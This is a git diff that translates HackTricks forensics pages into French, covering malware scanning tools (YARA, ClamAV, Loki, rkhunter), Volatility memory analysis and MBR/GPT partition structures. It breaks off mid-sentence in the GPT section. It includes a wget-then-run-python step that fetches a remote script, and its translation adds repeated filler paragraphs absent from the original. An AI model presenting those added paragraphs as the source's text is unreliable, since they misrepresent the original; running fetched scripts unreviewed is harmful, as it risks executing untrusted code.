[**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -**Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +**Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md index fa54ae86e..b3ca49e01 100644 --- a/forensics/basic-forensic-methodology/malware-analysis.md +++ b/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,99 +1,92 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Forensics CheatSheets +# Feuilles de triche en informatique légale [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/#) -# Online Services +# Services en ligne * [VirusTotal](https://www.virustotal.com/gui/home/upload) * [HybridAnalysis](https://www.hybrid-analysis.com) * [Koodous](https://koodous.com) * [Intezer](https://analyze.intezer.com) -# Offline Antivirus and Detection Tools +# Outils antivirus et de détection hors ligne ## Yara -### Install - +### Installer ```bash sudo apt-get install -y yara ``` +### Préparer les règles -### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. - +Utilisez ce script pour télécharger et fusionner toutes les règles de malware yara depuis Github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Créez le répertoire _**rules**_ et exécutez-le. Cela créera un fichier appelé _**malware\_rules.yar**_ qui contient toutes les règles yara pour les malwares. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` +### Analyse -### Scan +La première étape de l'analyse de logiciels malveillants consiste à scanner le fichier suspect à l'aide d'un logiciel antivirus ou d'un outil d'analyse de logiciels malveillants. Cela permet de détecter rapidement les menaces connues et de déterminer si le fichier est infecté ou non. Il est important d'utiliser plusieurs outils de numérisation pour augmenter les chances de détecter les menaces. +Si le fichier est détecté comme malveillant, il est important de prendre des mesures immédiates pour isoler le fichier et empêcher la propagation de la menace. Si le fichier n'est pas détecté comme malveillant, cela ne signifie pas nécessairement qu'il est sûr. Il est important de poursuivre l'analyse pour déterminer si le fichier est malveillant ou non. ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +### YaraGen: Vérification de logiciels malveillants et création de règles -### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Vous pouvez utiliser l'outil [**YaraGen**](https://github.com/Neo23x0/yarGen) pour générer des règles yara à partir d'un binaire. Consultez ces tutoriels: [**Partie 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/) , [**Partie 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/) , [**Partie 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash python3 yarGen.py --update python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ## ClamAV -### Install - +### Installation ``` sudo apt-get install -y clamav ``` +### Analyse -### Scan +La première étape de l'analyse de logiciels malveillants consiste à scanner le fichier suspect à l'aide d'un logiciel antivirus ou d'un outil d'analyse de logiciels malveillants. Cela permet de détecter rapidement les menaces connues et de déterminer si le fichier est infecté ou non. Il est important d'utiliser plusieurs outils de numérisation pour augmenter les chances de détecter les menaces. +Une fois que le fichier a été scanné, il est important de vérifier les résultats de l'analyse. Si le fichier est détecté comme malveillant, il est important de déterminer le type de menace et les actions qu'elle peut effectuer sur le système. Si le fichier n'est pas détecté comme malveillant, cela ne signifie pas nécessairement qu'il est sûr. Il est important de poursuivre l'analyse pour déterminer si le fichier est malveillant ou non. ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ## IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC signifie Indicateur de compromission. Un IOC est un ensemble de **conditions qui identifient** un logiciel potentiellement indésirable ou un **logiciel malveillant confirmé**. Les équipes de sécurité (Blue Teams) utilisent ce type de définition pour **rechercher ce type de fichiers malveillants** dans leurs **systèmes** et **réseaux**.\ +Le partage de ces définitions est très utile car lorsque des logiciels malveillants sont identifiés sur un ordinateur et qu'un IOC pour ce logiciel malveillant est créé, d'autres équipes de sécurité peuvent l'utiliser pour identifier plus rapidement le logiciel malveillant. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Un outil pour créer ou modifier des IOCs est [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Vous pouvez utiliser des outils tels que [**Redline**](https://www.fireeye.com/services/freeware/redline.html) pour **rechercher des IOCs définis sur un appareil**. ## Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) est un scanner pour les Indicateurs de Compromission Simples.\ +La détection est basée sur quatre méthodes de détection : ``` 1. File Name IOC Regex match on full file path/name @@ -107,35 +100,31 @@ Detection is based on four detection methods: 4. C2 Back Connect Check Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ## Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) est un scanner de logiciels malveillants pour Linux publié sous la licence GNU GPLv2, conçu pour faire face aux menaces rencontrées dans les environnements d'hébergement partagé. Il utilise les données de menace des systèmes de détection d'intrusion en bordure de réseau pour extraire les logiciels malveillants qui sont activement utilisés dans les attaques et génère des signatures pour la détection. De plus, les données de menace sont également dérivées des soumissions d'utilisateurs avec la fonction de vérification LMD et des ressources de la communauté de logiciels malveillants. ## rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Des outils comme [**rkhunter**](http://rkhunter.sourceforge.net) peuvent être utilisés pour vérifier le système de fichiers pour les possibles **rootkits** et logiciels malveillants. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ## PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper) vérifie quelques éléments de base à l'intérieur de l'exécutable (données binaires, entropie, URLs et IPs, quelques règles yara). ## NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) est un script Python qui utilise une variété de **méthodes statistiques** pour détecter du contenu **obscurci** et **crypté** dans des fichiers texte/script. Le but de NeoPI est d'aider à la **détection de code de shell web caché**. ## **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fait de son mieux pour détecter du code **obscurci**/**douteux** ainsi que des fichiers utilisant des fonctions **PHP** souvent utilisées dans les **malwares**/shell web. -## Apple Binary Signatures - -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** +## Signatures binaires Apple +Lors de la vérification d'un **échantillon de malware**, vous devriez toujours **vérifier la signature** du binaire car le **développeur** qui l'a signé peut déjà être **lié** à un **malware**. ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -146,36 +135,16 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +# Techniques de détection -# Detection Techniques +## Empilement de fichiers -## File Stacking - -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +Si vous savez qu'un dossier contenant les **fichiers** d'un serveur web a été **dernièrement mis à jour à une certaine date**. **Vérifiez** la **date** à laquelle tous les **fichiers** du **serveur web ont été créés et modifiés** et si une date est **suspecte**, vérifiez ce fichier. ## Baselines -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. - -## Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Si les fichiers d'un dossier **ne devraient pas avoir été modifiés**, vous pouvez calculer le **hash** des **fichiers originaux** du dossier et les **comparer** avec les **fichiers actuels**. Tout ce qui a été modifié sera **suspect**. +## Analyse statistique +Lorsque les informations sont enregistrées dans des journaux, vous pouvez **vérifier des statistiques comme le nombre de fois où chaque fichier d'un serveur web a été accédé car un shell web pourrait être l'un des plus**. diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 1ce3f44f0..98bdc2e9e 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,70 +1,48 @@ -# Memory dump analysis +# Analyse de dump de mémoire
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} -## Start +## Commencer -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Commencez à **rechercher** les **malwares** dans le pcap. Utilisez les **outils** mentionnés dans [**Analyse de Malware**](../malware-analysis.md). ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -The premiere open-source framework for memory dump analysis is [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md). Volatility is a Python script for parsing memory dumps that were gathered with an external tool (or a VMware memory image gathered by pausing the VM). So, given the memory dump file and the relevant "profile" (the OS from which the dump was gathered), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifacts.\ -From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) +Le premier framework open-source pour l'analyse de dump de mémoire est [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md). Volatility est un script Python pour l'analyse de dump de mémoire qui ont été collectés avec un outil externe (ou une image mémoire VMware collectée en mettant en pause la VM). Ainsi, étant donné le fichier de dump de mémoire et le "profil" pertinent (le système d'exploitation à partir duquel le dump a été collecté), Volatility peut commencer à identifier les structures dans les données : processus en cours d'exécution, mots de passe, etc. Il est également extensible à l'aide de plugins pour extraire divers types d'artefacts.\ +À partir de : [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -## Mini dump crash report +## Rapport de crash de mini dump -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Lorsque le dump est petit (juste quelques Ko, peut-être quelques Mo), il s'agit probablement d'un rapport de crash de mini dump et non d'un dump de mémoire. ![](<../../../.gitbook/assets/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Si vous avez Visual Studio installé, vous pouvez ouvrir ce fichier et lier des informations de base telles que le nom du processus, l'architecture, les informations d'exception et les modules en cours d'exécution : ![](<../../../.gitbook/assets/image (217).png>) -You can also load the exception and see the decompiled instructions +Vous pouvez également charger l'exception et voir les instructions décompilées ![](<../../../.gitbook/assets/image (219).png>) ![](<../../../.gitbook/assets/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +Quoi qu'il en soit, Visual Studio n'est pas le meilleur outil pour effectuer une analyse en profondeur du dump. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. - - - -​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Vous devriez l'ouvrir en utilisant **IDA** ou **Radare** pour l'inspecter en **profondeur**. diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index a628d3c14..75ec64699 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,252 +1,139 @@ -# Partitions/File Systems/Carving - -## Partitions/File Systems/Carving - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+# Partitions/Systèmes de fichiers/Carving ## Partitions -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Un disque dur ou un **SSD peut contenir différentes partitions** dans le but de séparer physiquement les données.\ +L'unité **minimale** d'un disque est le **secteur** (généralement composé de 512B). Ainsi, la taille de chaque partition doit être un multiple de cette taille. -### MBR (master Boot Record) +### MBR (Master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +Il est alloué dans le **premier secteur du disque après les 446B du code de démarrage**. Ce secteur est essentiel pour indiquer au PC ce qu'est une partition et d'où elle doit être montée.\ +Il permet jusqu'à **4 partitions** (au plus **1 seule** peut être active/**amorçable**). Cependant, si vous avez besoin de plus de partitions, vous pouvez utiliser des **partitions étendues**. Le **dernier octet** de ce premier secteur est la signature d'enregistrement de démarrage **0x55AA**. Une seule partition peut être marquée comme active.\ +MBR permet **max 2,2 To**. ![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Des **octets 440 à 443** du MBR, vous pouvez trouver la **signature de disque Windows** (si Windows est utilisé). La lettre de lecteur logique du disque dur dépend de la signature de disque Windows. Changer cette signature pourrait empêcher Windows de démarrer (outil : [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../.gitbook/assets/image (493).png>) **Format** -| Offset | Length | Item | +| Offset | Longueur | Élément | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | +| 0 (0x00) | 446(0x1BE) | Code de démarrage | +| 446 (0x1BE) | 16 (0x10) | Première partition | +| 462 (0x1CE) | 16 (0x10) | Deuxième partition | +| 478 (0x1DE) | 16 (0x10) | Troisième partition | +| 494 (0x1EE) | 16 (0x10) | Quatrième partition | | 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | -**Partition Record Format** +**Format d'enregistrement de partition** -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| Offset | Longueur | Élément | +| --------- | -------- | ------------------------------------------------------------------------ | +| 0 (0x00) | 1 (0x01) | Drapeau actif (0x80 = amorçable) | +| 1 (0x01) | 1 (0x01) | Tête de départ | +| 2 (0x02) | 1 (0x01) | Secteur de départ (bits 0-5) ; bits supérieurs du cylindre (6-7) | +| 3 (0x03) | 1 (0x01) | Les 8 bits les moins significatifs du cylindre de départ | +| 4 (0x04) | 1 (0x01) | Code de type de partition (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Tête de fin | +| 6 (0x06) | 1 (0x01) | Secteur de fin (bits 0-5) ; bits supérieurs du cylindre (6-7) | +| 7 (0x07) | 1 (0x01) | Les 8 bits les moins significatifs du cylindre de fin | +| 8 (0x08) | 4 (0x04) | Secteurs précédant la partition (petit boutiste) | +| 12 (0x0C) | 4 (0x04) | Secteurs dans la partition | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Pour monter un MBR sous Linux, vous devez d'abord obtenir le décalage de départ (vous pouvez utiliser `fdisk` et la commande `p`) -![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>) - -And then use the following code +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>) +Et ensuite utiliser le code suivant ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (adressage de bloc logique)** -**LBA (Logical block addressing)** +L'adressage de bloc logique (LBA) est un schéma couramment utilisé pour spécifier l'emplacement des blocs de données stockés sur des dispositifs de stockage informatique, généralement des systèmes de stockage secondaires tels que les disques durs. LBA est un schéma d'adressage linéaire particulièrement simple ; les blocs sont localisés par un index entier, le premier bloc étant LBA 0, le deuxième LBA 1, et ainsi de suite. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (Table de partition GUID) -### GPT (GUID Partition Table) +Elle est appelée table de partition GUID car chaque partition sur votre disque a un identifiant unique global. -It’s called GUID Partition Table because every partition on your drive has a **globally unique identifier**. +Tout comme MBR, elle commence dans le secteur 0. Le MBR occupe 32 bits tandis que GPT utilise 64 bits.\ +GPT permet jusqu'à 128 partitions sous Windows et jusqu'à 9,4 ZB.\ +De plus, les partitions peuvent avoir un nom Unicode de 36 caractères. -Just like MBR it starts in the **sector 